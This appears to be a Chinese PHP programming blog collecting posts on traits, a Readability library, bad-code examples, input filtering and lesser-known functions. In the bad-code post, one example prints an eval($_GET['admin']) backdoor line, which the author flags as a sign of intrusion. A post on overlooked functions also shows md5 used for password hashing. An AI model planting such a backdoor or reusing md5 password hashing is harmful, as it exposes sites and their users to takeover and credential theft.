無標題文檔

PHP 5.4 的 Trait 特性(翻译整理)

原文: http://www.xpertdeveloper.com/2011/11/trait-in-php/ 。这里总结下注意的几 点:

-- Split --

一些看法

坦白讲,我第一眼看到 Trait 对它并没有任何好感。PHP5 以来带来的新特性已经足够得 多,而且让开发者们有点应接不暇。

同时,Trait 更像是程序员的 「语法糖」 ,然而它提供便利的同时可能会造成巨大的隐患。 例如 Trait 能够调用类中的成员:

trait Hello {
    public function sayHelloWorld() {
        echo 'Hello'.$this->getWorld();
    }
    abstract public function getWorld();
}

class MyHelloWorld {
    private $world;
    use Hello;
    public function getWorld() {
        return $this->world;
    }
    public function setWorld($val) {
        $this->world = $val;
    }
}

同时,针对类中已经实现的方法,Trait 没有效果

trait HelloWorld {
    public function sayHello() {
        echo 'Hello World!';
    }
}

class TheWorldIsNotEnough {
    use HelloWorld;
    public function sayHello() {
        echo 'Hello Universe!';
    }
}

$o = new TheWorldIsNotEnough();
$o->sayHello(); // echos Hello Universe!

那么 Trait 的出现是为何呢? 有哥们的回答比较有意思 ,但不无道理:

因为php没有javascript作用域链的机制,所以无法把
function bind到class里面,曾经以为php 5.3的闭包
可以做这个事,最后才发觉作用域的设计不允许这么干

但话说回来,拿 interface 和 Trait 类比,显然 Trait 有更多方便的地方(虽然 两者不能完全相互替代)。

不过很显然 Trait 目前还处于测试阶段,它的未来相比其他 PHP5 新推来的特性还有 更多让人观望的地方,但或许这特性能改变 PHP5 未来继承的方式。

因为,我个人坚信 PHP 的作用链设计迟早会改得「更像 JavaScript」,即便这事情会在遥远的 PHP6 。

参考链接

-- EOF --

PHP 版本的 Readability 库

阅读是汲取知识的途径之一,但烦杂的网页提了额外我们诸多不需要的信息,这有时候非常干扰我们阅读。回归阅读 内容的本身,其实通过 Readability 这个脚本 就能抽取页面的主体内容。

不过,Readability 提供的仅仅是个 Bookmarklet,如果我们需要将其导出、打印等操作时就显 得捉衿见肘。需求驱动行动, 于是就有了这个 PHP 库 。PS,同时您还可以找到 .net 版本的 Readability ,以及 node.js 版本的 Readability

这个库能做的事情非常的简单,就是找到页面的主体内容并返回。调用这个库非常的容易,实例代码如下:

require 'lib/Readability.inc.php';

$Readability     = new Readability($html, $html_input_charset); // default charset is utf-8
$ReadabilityData = $Readability->getContent();

echo "<h1>".$ReadabilityData['title']."</h1>";
echo $ReadabilityData['content'];

如果您不在意技术本身, 那么这里有个现成的线上工具 。只需要粘贴入需要阅读的网页链接,这个工具就能够重新生成适合阅读的页面(例如: 原页面Readability 以后的页面 )。

https://files.gracecode.com/2011_02_19/1298127284.png

然后利用 Mac 的 pdf 打印输出功能,就能非常方便在 kindle 等阅读器上使用。

Q&A

输出的页面似乎有乱码?

PHP Readability 库能够指定输入的字符编码并统一返回 utf-8 编码的字符串。如果您在处理过程中碰到了乱码问题,请调整下字符编码。如果还是有问题,欢迎您的反馈。

有些页面提取内容失败或者提取不正确?

Readability 提取的算法其实非常有限。如果页面本身的 HTML 标签不是非常合乎规范,那么提取可能会造成一定的困扰。通常这在国内的页面上会更常见些,同样欢迎您的反馈,这有利于我继续改进 PHP Readability 的算法。

最后,希望这个库和工具能让你找回阅读的乐趣。

-- EOF --

那些糟糕的 PHP 代码

摘录自: http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/ 是个好东西,但如其他的奇技淫巧一样, 如果使用不当很容易割伤自己。

同时需要注意的是, 自 PHP 5 起,new 自动返回引用,因 此在此使用 =& 已经过时了并且会产生 E_STRICT 级的消息。例如

$foo =& find_var($bar);

所以可以理解上面的 代码为何会出错 (同时这在 PHP4 中并不会!)。

随着「积木越搭越高」,有时这个问题可能会耗费你一个下午的时间,因此应尽量避免使用它。

Example 4.

function htmlspecialcharsex($str) {
    if (strlen($str)>0) {
        $str = str_replace("&amp;", "&amp;amp;", $str);
        $str = str_replace("&lt;", "&amp;lt;", $str);
        $str = str_replace("&gt;", "&amp;gt;", $str);
        $str = str_replace("&quot;", "&amp;quot;", $str);
        $str = str_replace("<", "&lt;", $str);
        $str = str_replace(">", "&gt;", $str);
        $str = str_replace("\"", "&quot;", $str);
    }
    return $str;
}

类似的你可能自己实现过 json 、xml 等解析器,这都是在编码前没有 翻阅 PHP 手册 的缘故。

if (!function_exists('testfunc')) {
  function testfunc() { }
}

如果你不确定将来的环境是否有对应的函数,那么你可以使用 function_exists 来判断。

Example 5.

str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $file_new);

我知道你很迷惑为什么制表符不加入 HTML 实体中,但请你记住还有 <pre> 这个标签。同时如果想要调整间距, 那么 CSS 可能是你需要了解的。

Example 6.

$id = 0;
while (!$id || mysql_error()) {
    $id = rand(1, 10000000);
    mysql_query("INSERT INTO `table` (id) VALUES ('".$id."'");
}

MySQL 表示压力很大!

Example 7.

$find = str_replace(",", "", $find);
$find = str_replace(".", "", $find);
$find = str_replace("/", "", $find);
$find = str_replace(" ", "", $find);
$find = str_replace("-", "", $find);
$find = str_replace("+", "", $find);
$find = str_replace("#", "", $find);

上面的代码如果你觉得复制粘贴非常累,那么可以考虑使用循环

$words = array(',', '.', '/', '-', '+', '#');
foreach($words as $word) {
    str_replace("#", "", $find);
}

当然,如果知道还有正则这个玩意的话,那就更好了

$find = preg_replace('%\,|\.|\/|\-|\+|#%', "", $find);

Update

str_replace 其实也是可以用数组做为参数的, 类似这样:
str_replace(array(',',"."), "", $source); 
理论上应该比用正则效率高。

by avenger

Example 8.

echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['admin'])) eval($_GET['admin']);

当有大段的 echo 出现的时候,你就应该考虑是否需要个 模板引擎 了。 除此之外,简单的做法就是 include 个文本文件(请放心,PHP 会直接输出它的内容),然后再需要输出 变量的地方使用 PHP 标签。

注意最后一句代码,它可能会毁掉你整个系统!如果这段不是你加入的,那么你可能已经被入侵了。请记住 几个原则 1、永远都不要尝试使用 eval 函数 2、永远都不要直接使用 $_GET$_POST 等用户输入的 变量。

Example 9.

if (isset($param) && $param!=null && $param!=0 && $param>1) {
    sendRequest($param);
}

过多的条件判断等于没有判断,上面的代码可以考虑下精简成下面这个样子

if (is_numeric($param) && $param > 1) {
    sendRequest($param);
}

Example 10.

switch (true) {
    case $formid == 'search_form' :
    case $formid == 'search_theme_form' :
        $form['#action'] = getlangpref() . ltrim($form['#action'], '/');
        $form['#submit']['gpcustom_customsubmit'] = array();
        break;
    case $formid == 'localizernode_translations' :
        foreach ( $form['languages'] as $key => $value ) {
            if ( !is_array($value['#options']) ) continue;
            asort($form['languages'][$key]['#options']);
        }
        break;
    case $formid == 'contact_mail_page' :
        if ( $url = variable_get('gpcustom-contact-form-redirect', false) )
            $form['#redirect'] = $url;
        break;

}

偷个懒,这坨代码留给大家去优化吧,我想你们会做得更好的 :^) 各位有其他更糟糕的例子吗?欢迎提供。

-- EOF --

不要再使用 $_GET 了

看见 PHP Arch 上重新提及 Fliter 模块 ,的确这个模块能节省我们不少的时间,这里再次整理下。

$_GET$_POST 等用户提供的数据如果使用不当,如验证、过滤不全面,就很容易造成安全问题。通常情况下,我们会编写「一坨」正则来验证数据格式是否合法。

现在,有另外种方法让这过程变得更加的可靠和高效。

在 PHP5.2 中,内置了 Filter 模块 ,用于变量的验证和过滤。

过滤变量等操作可以 参看我原先提及的 ,这里我们看下如何直接过滤用户输入的内容。

Fliter 模块对应的 filter_input 函数使用起来非常的简单,例如我们过滤用户输入名为 sample 的 GET 参数为整型,那么可以这样写

filter_input(INPUT_GET, "sample", FILTER_SANITIZE_NUMBER_INT);

filter_input 的参数分别是用户输入类型、对应的输入名称、以及过滤(验证)常量。
目前 filter_input 支持下面几种用户输入

INPUT_GET     // 对应 $_GET
INPUT_POST    // 对应 $_POST
INPUT_COOKIE  // 对应 $_COOKIE
INPUT_SERVER  // 对应 $_SERVER
INPUT_ENV     // 对应 $_ENV

配合 内置提供的各种验证标记符 ,就可以解决类似的用户输入过滤等「体力活」。

最后,还是需要再提下 Filter 的个不大不小的陷阱

filter_var('abc', FILTER_VALIDATE_BOOLEAN); // bool(false)
filter_var('0',   FILTER_VALIDATE_BOOLEAN); // bool(false)

总体而言,这并不影响我们去尝试它 :^)

-- EOF --

一些被忽视的 PHP 函数(整理)

真的是不用不知道,其实我们熟悉的 PHP 还有很多好东西没有发掘。 看到这篇文章 ,当时就泪奔了好几回,重点推荐下,顺便我自己也做个整理。

sys_getloadavg()

这个函数 返回当前 系统的负载均值信息 (当然 Windows 下不适用),详细文档可以翻阅 PHP 的相关文档。文档中有段示例代码,基本上也就能看出它的用途了。

<?php
$load = sys_getloadavg();
if ($load[0] > 80) {
    header('HTTP/1.1 503 Too busy, try again later');
    die('Server too busy. Please try again later.');
}

PS,如果「很不幸」得你的 PHP 环境中没有这个函数,可以考虑使用下面这段代码 via

if (!function_exists('sys_getloadavg')) {
    function sys_getloadavg()
    {
        $loadavg_file = '/proc/loadavg';
        if (file_exists($loadavg_file)) {
            return explode(chr(32),file_get_contents($loadavg_file));
        }
        return array(0,0,0);
    }
}

这一特性如果使用得当,能减轻服务器部分压力。

pack()

pack 对应的还有个函数为 unpack ,用于压缩二进制串,文中的作者的示例非常清楚

$pass_hash = pack("H*", md5("my-password"));

如果你使用 PHP5,那么可以直接这样子

$pass_hash = md5("my-password", true); // PHP 5+

这样做的好处之一是能减少串存储空间(能节省多少呢?可能又会是另篇文章了)。

这里还有个示例代码可以 pack 数组 via

<?php
function pack_array($v,$a) {
 return call_user_func_array(pack,array_merge(array($v),(array)$a));
}

cal_days_in_month()

该函数 可以直接返回指定月份中的天数,例如

$days = cal_days_in_month(CAL_GREGORIAN, date("m"), date("Y")); // 31

我敢保证, 你自己实现过类似功能的函数 :^)

_()

呃, 这的确也是个 PHP 函数 (也有可能是最短的 PHP 内置函数)。_() 是它的「小名」,它的大名是 gettext()

写过 Wordpress 皮肤的朋友会了解 __() 以及 _e() 这些函数,其实 PHP 早已经自带了相关的功能。

// Set language to German
setlocale(LC_ALL, 'de_DE');
 
// Specify location of translation tables
bindtextdomain("myPHPApp", "./locale");
 
// Choose domain
textdomain("myPHPApp");
 
echo _("Have a nice day");

利用 gettext 可以编写多语言的应用,现在您感兴趣的可能就是如何编写 locale 文件,这但已经不是此文涉及的重点, 更多信息可以移步到这里

get_browser()

坦白讲,见到 这个函数 我当时就彻底泪奔。有了这个函数,再也不用自己去分析 $_SERVER['HTTP_USER_AGENT'] 这个字符串了。

更多的信息可以参考这里。在使用此函数前, 你可能需要个 browscap.ini 配置文件 ,相信你可以搞定的。

debug_print_backtrace()

以前查看函数调用堆栈,我会使用 xdebug 等的扩展,其实 PHP5 版本以后已经 内置了相关的函数

顺便再分享个「蛋疼」的小技巧 ,如果你记不住这个函数的名字,可以用这段代码同样能达到目的(看起来还是记住那个函数靠谱):

<?php
$e = new Exception();
print_r(str_replace('/path/to/code/', '', $e->getTraceAsString()));

natsort()

这个函数用于 自然排序 ,这个大家可能都要用到。贴下相关的文档链接以及示例代码

$items = array("100 apples", "5 apples", "110 apples", "55 apples");
 
// normal sorting:
sort($items);
print_r($items);
    # Outputs:
    # Array
    # (
    #     [0] => 100 apples
    #     [1] => 110 apples
    #     [2] => 5 apples
    #     [3] => 55 apples
    # )

natsort($items);
print_r($items);
    # Outputs:
    # Array
    # (
    #     [2] => 5 apples
    #     [3] => 55 apples
    #     [0] => 100 apples
    #     [1] => 110 apples
    # )

有关自然排序的算法规则,可以 参考这里的文档

glob()

这个 函数的功能 同样让人感到泪奔,先不说功能直接上示例代码

foreach (glob("*.php") as $file) {
    echo "$file\n";
}

相比你已经了解该函数的用途了,那么我们就可以有更多的「玩法」,例如就显示目录( via ):

$dirs = array_filter(glob($path.'*'), 'is_dir');

当然,文件递归你也可以 考虑使用下 SPL 扩展

补充 by 神仙

glob 有个参数选项 GLOB_ONLYDIR 就可以只列目录

PHP Filter

如果你还在正则验证字符串,那么就真的「Out」了。自 PHP5.2 版本以后, 内置了 PHP Fliter 模块 用于专门验证 电子邮件、URL 等是否合法,示例代码:

var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));

由于是新生的模块,因此还有很多的陷阱,例如

filter_var('abc', FILTER_VALIDATE_BOOLEAN); // bool(false)
filter_var('0', FILTER_VALIDATE_BOOLEAN);   // bool(false)

但这不影响我们去尝试。有关 PHP Filter 的更多信息,相信能拎出来另外写篇文章了。

-- Split --

最后,感叹 PHP 其实是个历久弥新的工具,不小心我们就会悲剧性得重复造了只轮子。因此,时常看看 PHP 文档每次都会有新的收获。

我的照片

嗨!我叫「明城」,八零后、技术男、伪苹果粉、微软无脑黑、宁波佬,现居杭州。

除了我的博客,同时也欢迎您访问我的 GitHubTwitterInstagram 主页。

这个 Blog 原先的名字叫 Gracecode.com 、现在叫 「無標題文檔」 。 其实无所谓叫什么名字,因为我曾经为这个名字伤透了脑筋。最后想到的这个名字都没啥特别的,说到 底是因为我实在给它不了个非常酷的名字。

如果您想联系我,可以发我邮件 echo bWluZ2NoZW5nQG91dGxvb2suY29tCg== | base64 -d

注:本站点所持观点仅代表个人意见,不代表所服务公司的立场。

文章

项目

微信公众号